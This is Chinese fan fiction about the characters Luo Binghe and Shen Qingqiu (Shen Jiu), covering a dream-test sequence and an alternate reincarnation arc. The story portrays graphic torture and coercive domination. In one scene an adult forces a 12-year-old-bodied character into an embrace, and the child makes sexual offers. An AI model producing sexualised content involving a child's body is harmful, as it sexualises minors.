〈锁清秋〉里面,冰已经得到了【九的眼泪】【九的服软】【九说不跑了】【九说好疼,不要了】【九害怕的满心满眼都是洛冰河】【九为了其他人求洛冰河】【九为了少受苦对他哭】【九听从洛冰河的话亲手坑杀别人】【九主动与洛冰河求幻】【九一颗心反复破碎却依旧逃不开】 在这种情况下,九已经没有什么能给出去的了——而即便如此,冰依旧觉得不够。 就相当于是已经将骨头全部打碎的情况下,仅有的几个碎渣子,冰依旧觉得他们碍眼。 嗯,这已经远远超出了【爱】,更像是一种【控制欲】,一种对于自己所有物的【占有欲】。 这也是为什么,我实在看不下去〈锁清秋〉的原因——一个是他虐的我心肝疼,另外一个是它不太是我心中能想象的爱情模样。 虽然冰九的爱情几乎都有从强制、暴力、打碎、折磨开始…… 但我个人还是比较喜欢那种双强双恶的,互相拉扯;对于这种纯纯的一个人,将另一个人打磨成另一个模样,捏碎重组…… 诚然,〈锁清秋〉里面的冰为了九退步很多,也奉上了金丹与心头血…… 可他,还是太tm虐心了啊(??简直想想就要哭,虐的人心肝疼) ———— 现在的故事是,九与冰已经撕破了脸,但是九发现了冰对他的感情。 于是冰以武力镇压九,九以感情反控冰;两人互相有对方害怕的东西,彼此纠缠。 冰构建梦境,用渣反的故事去试探九,希望九能走沈垣的故事线—— 系统:“宿主,你应该心疼主角” 九:“劳资不喜欢他,他可以下山。” 数次后。系统:“宿主,送个药就行了。” 九:“送药是吧?鹤顶红、见血封喉够不够?” 冰:...丫的,沈清秋是真不想让他活。 —— 系统:“宿主,你该阻止明帆欺负男主。” 九:“这都打不过的蠢货。” 数次后。九:“劳资打不死主角!” 系统无奈,冰送上玉佩。九:“什么玩意” 系统:“重要物品。” 九、顺手捏碎:“什么垃圾。” 冰:就不能寄希望于这狗东西能温情! —— 冰闯入,低头请罪:“宁师姐丢了。” 九:“死的为什么不是你?蠢货!” 系统:“宿主,你该安慰他别担心” 九:“婴婴死了,你和他都别想活!” 九睁眼,被捆,被扒去衣物。九:“?” 剥皮客:“沈仙师。” 九对宁婴婴:“婴婴别怕。” 系统:“宿主,主角不死不灭,你要不要祸水东引?” 九对剥皮客:“修为达到瓶颈?xx可助你提升修为,xx可清洗血脉,xx可xx” 剥皮客:“但奴家想要新鲜的皮。” 九:“剥我的。” 剥皮客:“沈仙师果然豪爽。” 九:“你从何处而来,族群只有你一人孤苦伶仃?” 剥皮客:“沈仙师这么关心小女子?奴家受宠若惊。” 九:“好奇一下,不妨说说?” 剥皮客:“奴家确实是姐妹中的异类。” 九、一招弄死:“既然只有一个,那就死吧。” 冰:不知道该哭该笑,沈清秋意外的很有责任感和安全感啊。 —— 魔族入侵,九看着冰濒死:“丢人玩意。” 系统:“宿主,你应该鼓励他。” 九:“死人,是不需要浪费精力的。本尊还要思考如何将魔族一网打尽,没空安慰废物。” 冰被偷袭。 系统:“宿主,快帮主角挡伤!” 九、一剑斩杀:“挡什么挡,杀了不就是了。” (冰设置的梦境里,不存在九与柳打斗灵力尽失。第一,冰不知道这段‘隐情’,第二,渣反线内没有这一段,沈垣就是单纯按照系统要求让冰露面) 冰:好像,很对? —— 梦魇之地,九睁眼。看着冰陷入挣扎。 系统:“宿主,上前安慰一下?” 九:“想要我与他一同深陷?” 系统:“你看,他的梦魇,有你泼他一杯茶。” 九:“劳资确实不该泼茶。” 系统:“后悔了?” 九:“本尊应该一剑杀了他。” 冰:... —— 无尽深渊。冰暴露血脉。 系统:“你打算一脚踹下去,还是插他一刀?” 九:“当然是直接割下他的头颅!看他怎么活!” 冰:... ———— 九睁眼,一脚将冰踹开:“小畜生,费尽心机搞哪一出,想试探什么?” 冰:“看您有多狠心。” 九:“本尊早就说过,要么直接杀了我,要么去那个世界找另一个‘沈清秋’。搞这些莫名其妙的,只会让本尊越发看不起你。” 冰:“弟子若非要养个床奴呢?” 九:“那你为什么直到现在也不抹杀沈某的灵魂呢?” 九:“这具躯体,你若非要,沈某也无计可施,不是吗?” 冰:“您太聪明了。” 九:“彼此彼此。” 冰:“不如,我们去寻一下那对师徒,也让您指点一下,弟子究竟,错在哪里?” 九:“你想知道我与他的不同?” 九:“也好。就让我看一下,【温柔沈清秋】,究竟什么样子。” 15.if沈九重生秋家、被冰哥遇到 if沈九重生秋家、被冰哥遇到(上) “师尊啊,你可知弟子去了哪里?你又可知,如果你好好待弟子,人魔两界,本就可以相安无事?” 边说,洛冰河边用力将沈清秋的背踩下去:“都怪你啊~都是因为你,人族和魔族才打了那么久,你说你这个罪人,该不该千刀万剐?” ——正文—— “岳清源为了你,可是被万箭穿心呢~弟子是个孝顺的人,专程替师伯收敛尸身并火化,还将断剑送过来让师尊睹物思人呢~” 一身流光溢彩的玄衣男子将手中断剑在监狱门前晃悠,语气吊儿当啷中又蕴含着满满的看好戏的恶意。 “洛冰河!” 监牢中,满身伤痕的中年人艰难的撑起身子,眼睛一刻也不离的看着晃动的断剑,神情恍惚,情绪激动。 “弟子在呢~” 洛冰河像是逗狗一般,轻飘飘的应和了一句,手上却恶趣味的勾起天魔之血,控制着眼前之人对断剑“争抢”。 沈清秋脸色狰狞,却没办法控制自己的躯体。虽然他很希望将断剑拿到手中,却并不想在别人的操控中对敌人摇尾乞怜: “滚!” 洛冰河兴致勃勃,乐此不疲的控制着手中''玩偶'',一边随口敷衍道: “师尊~你身上可是留着弟子的血呢~怎么能这么翻脸无情?” 终于,在洛冰河的操控下,沈清秋将断剑拿在手中,并将他打成更细小的碎片。 沈清秋没办法逃离洛冰河的控制,更没办法接受自己将''萧玄''打碎的事实,他七窍流血,手捂脑袋,疯狂喊着: “啊!滚!滚开啊!” ———— “洛冰河!” 沈清秋头冒虚汗、双手挥舞、大喊着醒来。 很快,他就感觉到一丝不对劲: “我……我的灵气回来了?不对,手脚如此粗糙且无力……” “划拉-” 沈清秋将面前的帘子打开,观察着面前的一切: 惨淡的月亮映照在空旷的屋子里,洒下一片灰暗凄冷的光辉。凄凄冷冷切切。 这样的地方,看起来凄惨又寒酸,还带着熟悉的感觉。 “这!这是,秋家?” 沈清秋手上发力,从床铺上跳下,怀着忐忑的心情,用一种怀旧又思念的心情,将周围设施摸了一遍。 秋家啊。 一个曾经的沈九非常想逃离,最后很不体面的离开的地方。 而且为了这个“不体面的分开”,沈九在遇见秋海棠的时候,也为此付出了极大的代价。 “哎。”沈清秋忍不住叹了口气。 这般精巧,说不定,是洛冰河又想玩弄自己的精神了。 这般的把戏,洛冰河不是没干过。 只不过他一直不屑于入侵沈清秋的记忆,就算是“场景重现”,也大部分是清静峰的事情。 秋家。 还是第一次。 虽不知道是为什么,但大抵是无聊了,又讨自己做乐子罢了。 只是,这次的感觉,也太真实了。 过往的每次,沈清秋都是局外人,他也一直是清静峰峰主的打扮。 这次……沈清秋心中存在着一丝丝希冀:这次的梦魇幻境中,自己不仅拥有细微的灵气,还变成了小时候! 而且。他能感觉到,自己曾被人狠狠打得险些死去,修炼资质尽数被毁。 但,时间很短暂,大概就是最近一个月内,通过前世的“遍览群书”,他,能治! 如果,如果有那么一丝丝的可能,他是得到了重回幼年的机缘……他完全可以凭借前世的知识,医好被毁掉的资质,重铸根基,重新修炼! ———— “?师尊?” 空间突然发生波动,一衣着繁复且面貌俊美的男子从裂缝中出现,看着在凳子上沉思的幼年沈清秋,怀疑的喊了一声。 “洛冰河?!不对,我现在是童年状态,难道真是梦境?”沈清秋冷不丁被跨越时空的洛冰河吓到,浑身忍不住颤抖—— 他以为自己是得到了重回幼年的机遇,结果却还是中了洛冰河的梦魇之术吗? 既如此,他之前的庆幸和欣喜,都是此人又一次的一时兴起、玩弄人心吗? “幼年版的师尊?”对面之人笑的有些残忍和诡异。 沈清秋虽失望透顶,却还是抱着最后一丝丝的希望:他是真的想重回幼年,摆脱洛冰河这个畜生! “仙人!仙人,你是来救我出去的吗?”沈清秋打算装傻,虽然有很大的可能是进入了梦境,但是万一呢!万一自己回来了…… “哦?那小杂种,你犯了什么事?” 洛冰河看着对自己求救的幼年版沈清秋,眼中冒着饶有兴趣的光芒,像是找到了什么有趣的东西,一时间简直爱不释手。 沈清秋原本就是“病急乱投医”,却不想洛冰河居然非常配合,他忍不住惊讶的看了洛冰河一眼,快速编织“借口”: “我……我,我原本是街边的乞丐,被秋家大少所虏……” 可惜,洛冰河虽然“配合”,却并不是完全放纵,他很干脆的拆台: “可是你现在住的可是单人房间,身上衣物也整整齐齐、平整得很啊。” “那个……”沈清秋一时无语,快速回想了一下过往:“仙人~我之前一段时间测出修真资质,可是主家不允许我去修炼,还打了我一顿,让我躺了很久,也是近些天才能下床……” 这些都是事实,测出资质是真,挨打是事实,刚能下床也是真相。哪怕是洛冰河搜魂或构建梦魇,这些都是“铁一般的真相”。 但是。沈清秋有些疑惑: 洛冰河,装的太像了。 像的就像是真的“误入此地”一样…… 那么……有没有一点可能,自己真的回来了,洛冰河,也是真的“误入”? 沈清秋心中是真的很希望! “小家伙,你可真可怜啊~” 洛冰河眼睛满是冰冷,浑身散发着肃杀之气,嘴上却说着疑似安慰的话语:“快跟我讲讲,是怎么一回事啊?” ‘这家伙怎么突然这样?’沈清秋内心一簇,只想赶紧将他打发了,于是更加''漏洞百出''的编瞎话: “是啊是啊,仙人能带我走吗?” 沈清秋与洛冰河打了那么多年交道,自然深知这玩意的恶劣性子和看热闹不嫌事大的趣味,知道这么说这家伙只会反着来。 果然,沈清秋毫无疑问的,听到了洛冰河的反对: “呵,冷心冷肺的家伙,我凭什么帮你?” 猜对了。沈清秋心里为自己点个赞。 看来此计可行。 沈清秋尽可能还原小孩子的不讲理:“仙人既然出现,难道不是救我于苦海的吗?你既然出现在这里,肯定是与我有缘啊~那带我离开,不是应该的吗?” “哼,还真是会使唤人啊。当初无厌子也是这么配合你的?” 沈清秋心里一惊,再次怀疑这处是梦境。 但如果是梦境的话,洛冰河现在陪自己演戏的意义是什么?他完全可以揭穿自己啊!而且他眼中虽然有嫌弃、不屑和鄙夷,却没有猫戏老鼠的''玩味''。 如果说,让沈清秋决定此刻是陷入了洛冰河的梦境之中,还是重生回幼年。哪怕重生之事再诡异,他也希望是真的回来了! 无他,人在谷底时,总是心存那么几丝侥幸的! 所以。如果他真的回来了,还想离“洛冰河”这种生物远远的,一定要远离苍穹山派不说,更要让面前之人对自己失去兴趣! 而一个无知任性、恶毒刻薄的孩子,洛冰河一定会极度嫌弃,完全不想管的! 如果沈清秋再“热情”一点,洛冰河一定会恨不得甩掉自己这个“狗皮膏药”! 这样子,哪怕是洛冰河那天突然想起来,也完全不会将自己与“沈清秋”联系起来,甚至说不定还会主动躲着! 于是,确定了''上杆子''方针的沈清秋,立刻遵循自己的人设,做一个傻白恶毒的任性小人: “无厌子?那是什么呀?是人名吗?” 沈清秋装傻充愣很有一手,再加上洛冰河对自己完全掉以轻心,他却是处处伪装,甚至忍着恶心与厌恶,抓着洛冰河的裤腿,用满是憧憬的表情看着洛冰河,就像是将他视为人生唯一的光一样: “仙人,你能带我走吗?” 这话说的,若是洛冰河脑子没变,会直接将沈清秋扔到三丈之外,并且给他结结实实来上一剑! 无他,两人之间的恩怨太深,彼此都接受不了对方的触碰,更不可能接受“自己被对方当做希望”这种鬼设定! “呵,我倒是想知道,如果我帮你出去,今后遇见岳七,你可愿意为他杀师?” 听到此,沈清秋瞳孔一缩,脸上震惊之色顿起,他立刻压下去,果断下跪遮掩: “仙人是想收我为徒吗?” 好在,洛冰河好似没看见,只掀起一抹讥笑,看着底下的脑袋、所露出的、雪白纤细的脖子:“你倒是会上杆子爬。” 话都说到这里,沈清秋若是不接下去,怕是当场就会被拆穿,其后续,说不定比上之前,更加凄惨! “仙人在上,弟子沈九,拜见仙人师傅!” 沈清秋原想努力装傻,好骗过洛冰河,却不想这家伙提起''无厌子''和''岳七'',令自己险些露了破绽,只好顺势应下,先渡过难关再说。 却不料洛冰河突然诈道:“师尊啊,你这下跪倒是很顺溜啊,只是在牢里时候,怎么就骨头那么硬呢?” 沈清秋顿时冷汗直冒、心跳如鼓擂,但越是害怕,就要越面对并解决他。所以他将脸板正、努力端正声音,看着洛冰河的眼睛,郑重其事:“师傅在上,不知师傅的意思是?” “师尊,还跟我演戏呢?你以为你骗的过我?你眼中的厌恶与懊悔,弟子我可是看得真真的。” 洛冰河随手将一旁的板凳招来,一只脚伸在桌子上,一只脚压着沈清秋的背,使他趴得更深,头紧紧贴在地面上: “师尊啊,你可知弟子去了哪里?你又可知,如果你好好待弟子,人魔两界,本就可以相安无事?” 边说,洛冰河边用力将沈清秋的背踩下去:“都怪你啊~都是因为你,人族和魔族才打了那么久,你说你这个罪人,该不该千刀万剐?” “嗯?” 洛冰河稍稍放开对沈清秋的压迫,示意跪着的幼童回答。 “师傅,您莫要取笑弟子了,不知您在与谁讲话?可是对方用了什么江湖秘法,能隐于身形不是?” 沈清秋跪趴在地上,艰难的抬头,咬定装傻不放松,完全不接茬——甭说什么沈清秋是两界罪人,犯下罪恶的是洛冰河!别什么脏水都往他身上泼!他,不认! “哦?师尊竟如此愿意与弟子玩这等把戏,弟子也只好奉陪了。”洛冰河松开压着沈清秋的脚,用手捏着沈清秋的下巴将他举起,左右仔细打量着面前尚且年幼的脸,满是恶意道: “师尊,你不是想要拜师吗?且喊声''师尊''听听?” “师尊~”沈清秋感觉自己如同被铁手束缚,被迫咧开了嘴角,露出一个沈清秋从没显示过的''甜甜的、讨好的笑容'':“师尊,可还喜欢?” 沈清秋知道,他这种弱者的笑容,他上辈子从没展示过。越是不同寻常,越是能坚定洛冰河“认错”的心,只要他表现的足够“傻白恶毒”,洛冰河一定会对自己失去兴趣! 而这,正好可以确定一下他一直以来的困惑: 是沈清秋重生回秋家乞丐九; 还是洛冰河又给自己制造了个梦魇困境? 如果是洛冰河制造的困境,他一定知晓自己的身份,而他看见自己露出这样的笑容,一定会觉得非常恶心,甚至更加打压的! “呵,没意思。”洛冰河像是看到了什么脏东西一样,突然手上发力,将沈清秋猛的扔向一旁。 沈清秋脸贴着地面,丝毫不敢移动。他的手紧紧握住,指尖猛烈的掐着掌心,心里无数次告诉自己要忍下去。 至少,这次的试探结果,是他想的那个样子! 此时已经到了最后的决战时刻,只要忍下去,继续努力贯彻恶心他的政策,一定能避开“洛冰河”这种生物! 果然,感到无聊的洛冰河,随手用心魔剑划破空间,转身离开。 沈清秋心中暗骂不已,却丝毫不敢表现在脸上,生怕那家伙杀个回马枪。 良久,沈清秋闷哼一声,脖颈传来“咔嚓咔嚓”的骨骼错乱声音。他努力坐直身体,在一片残墙断木的间隙中,努力地硬吞下从胸腹涌起的血腥。 呼呼地喘着粗气,接连不断的咳嗽声中,像是要把命都刮破一般剧烈。 “我赢了。” 他努力的平复着自己的喘息,嘴角勾起一抹笑容。 这个世界,是真实的。 不是梦魇困境。 —————— if沈九重生秋家、被冰哥遇到(下) 再赌一次吧。 我赌你,看不上主动送上门的''沈清秋''! ——正文—— 练气期的修炼,就是简单的感知天地灵气,然后将他们引入身体中进行锤炼。修为根据体内灵气的存续量划分为初期、中期、末期和大圆满。 不断的吸收和使用灵气,就如同刚学习字的顽童,用笔书写横、竖、撇、捺、点、钩、折、弯,掌握行文练字的结构与顺序,以达到熟能生巧,就算是不懂,身体本能也可施展。 或者说是,习得唐诗三百首,不会写来也会偷。那些一点就通的天才,是学了就能写出锦绣文章,而那些略显愚笨的学生,哪怕是怎么也搞不懂平仄对仗,只要牢牢记住诗词,也能模拟个七七八八。 很快,拥有着前世所学的修炼仙术感悟以及诸多修行战斗经验,还有虽然被损害但时间尚浅、能很容易就被修复的绝佳修炼资质加成下,沈清秋很快进阶练气,卡在练气期大圆满。 毕竟就像是中过榜的秀才重新学习诗词一般,他的脑子里天生就装满了四书五经。所以那些非常初级的认字习字、读文断句,对他而言就如同吃饭喝水一样简单,自是有如神助。 练气期和筑基期最大的区别,就在于练气只是存储灵气,而筑基期是构建属于自己的灵气轨迹,让灵气潜移默化的调理身体,变得更容易与天地共鸣,也更容易吸收和掌握灵气。 还是拿写文章举例子,此时的修炼,已经不再是“认字组词”,而成了“连词成句”,有难度,但不大。 但他毕竟也是一个关卡,所以还是需要一定的修为堆积和心境磨练,不是说过就能过的。此时,要么是水磨功夫,等待那一天能把99%积累到100%,要么嗑药——筑基丹。 前世,沈清秋至死也只到''金丹大圆满''——没办法,资质受限就如同智商上限,他的能力只能支撑他到这里了。对于元婴期和传说中的化神期,也只是听过而已。 柳清歌倒是突破了元婴期,可他是个没事就挑战别人的武痴,习惯性走火入魔,还早早死去,压根没有与后期的洛冰河打过,更不知他俩谁强谁弱。 罢了,沈清秋放下心里那些林林总总的思绪:既然拥有了重生到幼年时期的机缘,也算是弥补人生遗憾了。 天有所授,若是不好好掌握,岂不辜负? 再加上秋家之人以为自己还卧病在床,这段时间除了送饭没人打扰,正是练功的好时机。 当然了,秋家为了安自己的心,还是一个月会意思意思请府医来看一下的。但是对于点满了书海苦作舟智慧的沈清秋来说,糊弄府医,so easy~ ———— “师尊~弟子又来看您了~” 催命的声音突然在沈清秋身后响起,惊得他汗毛直立,险些走火入魔。 重生归来,沈清秋万事舒心,唯一一件也是最难受的,就是阴魂不散洛冰河! “!!!”沈清秋转身看着不怀好意的洛冰河,只好再次发挥自己的演技,将死皮赖脸进行到底: “师傅~您终于回来了~弟子等您等到花都谢了,您什么时候带我走啊~” 沈清秋将毕生的演技都奉献给了洛冰河,只希望自己感觉恶心死他,最好让他赶紧离自己远远的,别影响自己快乐的新生活。 可惜,面前之人像是没人跟他说话似的,喋喋不休的跟沈清秋讲诉自己的新发现: “师尊啊~我又去定位了一下那个世界,可恨那个小畜生做的那般绝,竟是一点碎片也不曾留下!” ‘这疯子又搞了什么?’沈清秋内心波澜壮阔,恨不得远远逃离,却不得不认清事实,与面前之人虚以委蛇。 反正甭管洛冰河说什么,都与他无关!他只想赶紧把洛冰河恶心死,让他赶紧滚蛋!沈清秋作出一副''洗耳恭听''的态度,脸上挂上打探八卦的笑容: “师傅~您可是有什么事情做不到?以师傅这么强大,竟还有您做不到的事情吗?” 看着如此“献媚”的沈清秋,洛冰河心里没来的一股厌恶,又看着幼年版沈清秋渐渐张开的脸,心中不适感加重: “你小子,可是在幸灾乐祸?” 沈清秋尽量将自己表现的极为恶俗,努力回想并模仿着曾经明帆的一举一动。对着洛冰河满脸的崇拜: “不敢不敢,只是好奇,好奇~” 果不其然,洛冰河像是想到了什么,冷呲了一声,脸上表情更加冷酷: “呵,那个杂种以为把心魔剑搞成碎片,我就没办法定位?也太小看我了!” “这世间哪里有师傅做不到的事情呀~师傅最厉害了!举世无敌!”沈清秋卖力的吹彩虹屁,心里暗暗祈祷这玩意赶紧去找乐子吧,千万别再来找自己了! “师尊”洛冰河突然紧盯着沈清秋的眼睛,不放过他一丝一毫的变化:“师尊啊,你说,你能毫无芥蒂的与弟子同床共眠吗? “!!!”沈清秋听到差点下意识捏诀挥出,又死死的控制住自己躁动的右手。他脸上挂起官方笑容,应付洛冰河: “师傅啊~您别老是吓唬弟子啊~这玩笑一点也不好笑。” “是吗?”洛冰河突然逼近,身体下压,将幼年版沈清秋压到板凳深处,不漏一丝阳光:“师尊觉得这是个玩笑?” 抄你奶奶个腿!沈清秋是真的不想跟他演下去了!他喊洛冰河“师傅”,这家伙一直称呼自己为“师尊”,当真是各喊各的,两个人都演的so happy啊! 他几乎就要暴起打起来了! “嗯?” 极具威胁性的声音传入沈清秋耳膜,令沈清秋冷不丁一激灵,突然清醒过来: “师傅啊,这师傅与弟子合躺一处,不合礼数啊!” 沈清秋完全不想理会洛冰河话里的“弟子”指的是他自己,只拿着“礼数”随意敷衍。 可惜,洛冰河对他的回答极其不满意,又大致是受了什么刺激,竟伸手将幼年版沈清秋拉入自己怀里并紧紧抱住! 沈清秋看着自己周身被切断了退路,眼前还有个蠢蠢欲动想拉自己坐他腿上的某人,沈清秋喉结艰难的动了动,心里飞快的思考着对策: 洛冰河到底有没有认出自己?如果认出了,他这一出是搞什么?后宫的妹子睡腻味了想换个新鲜? 如果他给洛冰河一巴掌,是会激怒他还是会激起他的兴趣? 他直接跟洛冰河开战是绝对打不过的,但是这家伙貌似馋自己身子啊!现在他才12岁啊!就算不说年纪和身体状况,沈清秋对洛冰河的厌恶和反感,已经到了恨不得对打并自杀的程度! 可是,迎合是不可能的,顺从他做不到,开打又打不过…… 现在他还只是“询问”与“压迫”,若是洛冰河想用强,以沈清秋练气期大圆满的实力,在他手上,走不过一招! 急急急! 危危危! 沈清秋脑子思绪乱蹦,他一时间竟搞不懂洛冰河究竟想干什么: 这家伙是打算犯上欺师吗? 可是他重生之前两人的相处堪比水深火热、水火不容,而且我虐待你、你回报我的,又并上那么多人的性命…… 最重要的是,沈清秋!不好南风! 并且,秋翦罗好南风!自己与秋家最大的矛盾,就是那玩意馋自己身子! 所以说。 如果洛冰河突然改了性子,沈清秋定要与他鱼死网破! 幼年版沈清秋被洛冰河揽在怀中,空气黏着的连一丝风也透不进,阳光洒下、空气中的尘埃如白日里跳动的精灵,沈清秋贪婪的看着难得的春日暖阳。 这个世界,如果能够躲开洛冰河,他能够追寻到自己梦寐以求的自由! 残酷的修真界,强大的力量只是让人活下去的手段,而心灵上的挫折,才是令人真正崩溃、且困守一生也出不去的围城! 沈清秋深深的吸了一口气,像是想把整个肺腔彻底打开,尽力的呼吸着、可能是最后一次自由的新鲜空气。 罢了。沈清秋闭上眼睛,最后决定恶心洛冰河,也恶心自己一把! 这次,就再赌一次吧。 我赌你,看不上主动送上门的''沈清秋''! “师傅是想与弟子同登极乐吗?” 沈清秋把眼睛一转,用眼角一撇,抛了媚眼,风情万种道:“师傅若是肯带我离开秋家这潭泥坑,弟子很乐意为您效劳呢~” 甭管有没有恶心到洛冰河,沈清秋自己已经要恶心到胃部泛酸、内部痉挛了!他强忍恶心,继续刺激洛冰河: “师傅?不知您想玩什么花样?弟子……得秋家大少教导,会的……” 沈清秋努力自污:“还不少呢~您想玩几个人啊?要不要弟子先提前准备些什么物什?” 看着愣在原地,如遭雷劈的洛冰河,沈清秋加大火力,争取让他再也不想见自己:“师傅~我看您喜欢喊''师尊'',是想让弟子陪您玩''师慈子孝''的戏码么?” “那您可曾想,让我喊您……”沈清秋快速闭上眼睛又睁开,眼波流转、扯起清静峰峰主的招牌笑容:“好徒儿?” 说罢,沈清秋手扶着洛冰河的大腿、踮起脚尖,竟是打算直接亲上去! “砰!”洛冰河一拳挥过,将沈清秋打到墙角,他的表情扭曲又怪异,心魔剑起,锋锐的剑气隐隐徘徊在沈清秋面前,直指沈清秋那张年幼又堪堪展现未来风华的脸蛋。 看得出来,冰哥被恶心的不轻。 恐怕因为暖男沈垣而兴起的一丝丝兴趣,被彻底打破了滤镜。 冰哥右手轻轻一挥,沈清秋连带着整个秋家,都被他一念之下,覆灭。 冰哥看见被自己捏为废墟的秋家,心情稍微好了一点,随手划开空间,愤恨离去:这个世界,简直恶心!他要回去继续找那个杂种去打架! ———— 沈清秋再次睁眼的时候,是从秋家的废墟中爬出来。浑身遍体鳞伤,连呼吸都能引起肺部灼烧感,手脚更是被房梁和墙壁压的血液不通。 不过。 他赌赢了。 虽然恶心了自己。 但是更恶心了洛冰河! 尤其是,不知道是自己的清静峰峰主笑容还是那句“好徒儿”、亦或是那个打算亲上去的举动。 反正,洛冰河是被自己恶心到压根不想出现了。 世界,终于清静了。 他、沈清秋,终于,活过来、将拥有新的人生。 虽然拥有跨越时空之力的洛冰河,还有可能卷土重来。 但是沈清秋好像找到了拿捏他的办法。 别的不说,洛冰河好似并没有睡男人的想法,起码没有睡“沈清秋”的想法。 这是个好回答。 简直非常好的回答。 唯一不好的,可能就是莫名招灾的秋家。突如其来的被洛冰河的剑气打成废墟。 不过,也是给沈清秋的离开创造了条件——秋家是直接倒塌的,其中人可能会被压倒,却不至于死亡。 而沈清秋与秋家的恩恩怨怨,早在上一世就报过了。 而这一世,秋家将自己打成重伤濒死,自己重生过来的时候,曾经的沈九已经死亡。 一命之仇,拉着他们一起“坍塌”,也算是小惩大诫吧。 所以。他可以安心的走了。 这一世,沈九不需要等待失约的岳七,也不需要跟随无厌子偷蒙拐骗、躲避追杀。 他就是他,一介散修沈清秋。 至于他修炼了苍穹山派的功法—— emmmmm,那是自己上一世凭本事获得的! 他见到苍穹山派的人就避开,不与他们争资源好了~ 至于柳清歌,没了他的“帮倒忙”,或许他还能活? 岳清源。嗯。 散修沈清秋,与岳大掌门能有什么关联呢?他只是长得像沈九,而岳掌门只是长得像岳七而已~ 至于沈九的七哥?死了啊,死在求师拜艺的途中,他还帮忙立衣冠冢了呢! 那个岳七的小九?死了呀~死在拒绝爬秋少爷床的时候,重伤不治了嘛~ 至于长相? 拜托,沈九难道是石头缝里蹦出来的吗?兄弟姐妹而已的啦~堂兄堂弟、表兄表弟嘛~ 新世界。真是美好呢。 if沈九重生、被冰哥纠缠(番外) 我已经发现了你的伪装,但是,你却不知道我发现了你,所以你还在继续你那拙劣的、自以为演技精湛的演出。 而我只需要稍微一点点的配合,就能欣赏到你苦心竭力、倾其所有的应对。 ——正文—— “师尊~” “……”‘阴魂不散!’ “师傅,是您来了吗?您最近可好?” “师尊啊,一别数载,你现在有二十多了吧?” “师傅这说的什么话,咱们是好久没见了。但是修真之人,稍微闭个关就几十上百年,这点时间,也就师傅您打个盹的功夫。” “巧言令色,油嘴滑舌” “怎么会呢,师傅请坐,徒儿给您添茶” “弟子何德何能让沈峰主给我添茶倒水?” “师傅说哪里话(ー_ー)!!”,沈清秋随口敷衍,猛然间像是想到什么,突然补充道:“师傅啊,其实我一直想问,那‘沈清秋’是何等人物啊,竟令您天天挂在嘴边?” “哦?师尊真的想听听弟子对他的评价?” ……并不想,之前没少在牢里听你骂我,反正左不过‘伪君子’、‘恶毒小人’、‘修真界败类’。除此之外,就是直接刑罚,报仇,是不需要道理的。 不过沈清秋还是很好奇,什么仇什么怨,能让洛冰河跨越时空也要过来找他?这份仇恨,也简直太离谱了吧! 嗯,身为上一世折腾了对方,又被对方报复回来的人,他能想到的,只有仇恨。 毕竟,不能让一个正常逻辑的人,认为什么“打是亲骂是爱”,两个相杀的人还能相爱吧? 但是呢,事实有时候就是那么离谱。 洛冰河他,真的就突然对沈清秋感兴趣了! 然后呢,他还三番四次的‘骚扰’沈清秋。 但是结果很明显,沈九对他装糊涂! 冰哥又不傻,一次两次能被忽悠,后面偷偷跟踪几天就能发现不同: 首先,这个小孩子对各种资源非常的清楚。 这个放在乞丐九的身上是不可能的,但如果是‘博览群书’沈清秋,那就很正常了。 其次,身为一个十几岁,没人带领的初级修真者来说,他的修为进展太快。 世上虽然不缺天才,但是绝不可能有一个人能无视所有陷阱,一步也不会掉下去! 除非说,面前的所有东西对他而言都是浮云,他能轻易看破所有骗局,所以完全不会踩坑。 但是这种需要及其丰富的经验,一个什么也不懂,也没有人带领的年轻人来说,不踩雷,是完全不可能的! 再退一步,沈清秋修炼的功法,与上一世一模一样! 何为门派与正统?何以立派? 不就是独属于自己的内功心法与对战架势吗? 沈清秋虽然已极力伪装,却还是能被洛冰哥轻易看穿! 所以。洛冰哥断定,沈清秋必定是伪装的。而目的嘛……大概率是为了躲避自己? 这可真是,得来全不费工夫啊。 思及此,洛冰哥突然勾起残忍的笑容,想着要如何‘惩罚’这个敢欺骗自己的家伙: “沈清秋其人,恶毒刻薄,嫉妒成性。曾因嫉妒别人的家室而杀害别人,又因恶毒的个性对手下弟子非打即骂,最后恶有恶报,死于非命。” “啊,那可真是个恶毒的家伙呢,死的好!” “是吗?师尊也这么想?” “这不是师傅讲的吗?按照师傅的描述,一个因嫉妒而杀人,因恶毒而虐下的家伙,死不足惜。” “说得对。”洛冰哥突然发力,将沈清秋的脸抓在手中,狠狠的捏着他的下巴,与沈清秋对视:“没想到师尊骂起自己来,也是毫不留情呢。” “师,师傅,疼……”沈清秋早就习惯了他的喜怒无常,当下就选择卖萌恶心他。 毕竟沈清秋试过好几次,只要恶心到位,洛冰哥必然会暴怒,然后甩身走人,能获得好些年的清静。 “是嘛?那我轻点。”洛冰哥嘴上说的好听,手上却毫不放松,甚至用另一只手轻轻抚摸沈清秋的眼睛。 看着在自己眼睛前晃来晃去的手上,沈清秋心中自然不会存在什么迤逦之情,他只担心这暴虐玩意突起,又想挖自己眼睛玩! 毕竟也不是没有过,洛冰哥嫌刑罚太轻,随手撕扯手臂、大腿、挖眼、割耳,这些都是小意思!而且在天魔之血的加成下,痛苦程度被放到最大,不逼得沈清秋满身大汗,痛苦的脸色扭曲,在地上疯狂打滚,疼到晕眩昏迷,洛冰哥完全不会停手。 所以,为了这一世的‘完整’,沈清秋努力‘讨好’道:“师傅,您轻点,徒儿疼……” 洛冰河将手指放到沈清秋的眼窝上,感受沈清秋眼皮的温热与疯狂跳动。他就知道,沈清秋绝对会怕!上一世疼到极致都不肯开口,这一世还什么都没干,就主动投降讨好,简直都不像他了! 不过嘛,只要确定是本人,沈清秋这些小伎俩,都是两人之间的小情趣,洛冰哥也可以大发慈悲,放过他一次。毕竟他是个体贴伴侣的人,后宫的妹子们,那个不说他温柔体贴? 沈清秋感受到从眼皮处离开的冰冷气息,疯狂跳动的眼睛终于缓了下来,无他,谁闲着没事的,想让自己缺失某个部件呢? 他是一个正常人,他没有受虐倾向,自然不想没事自残一下。上一世他身为俘虏,不想让敌人(洛冰河)看笑话,所以他会忍着。 毕竟童年的经历告诉他:来自战败方的求饶是没有用的,弱者的哀嚎只会让对方施虐的兴趣更大。坚决不求饶、任打任骂‘死猪不怕开水烫’的样子,反而会令对方感到无趣。 但现在的场景是不一样的,他可以确保对方没有认出自己,所以他们两个就是比较普通的师徒关系。无论是道义还是逻辑上,沈九身为弟子去讨好自己的师傅,都是完全没有问题的。 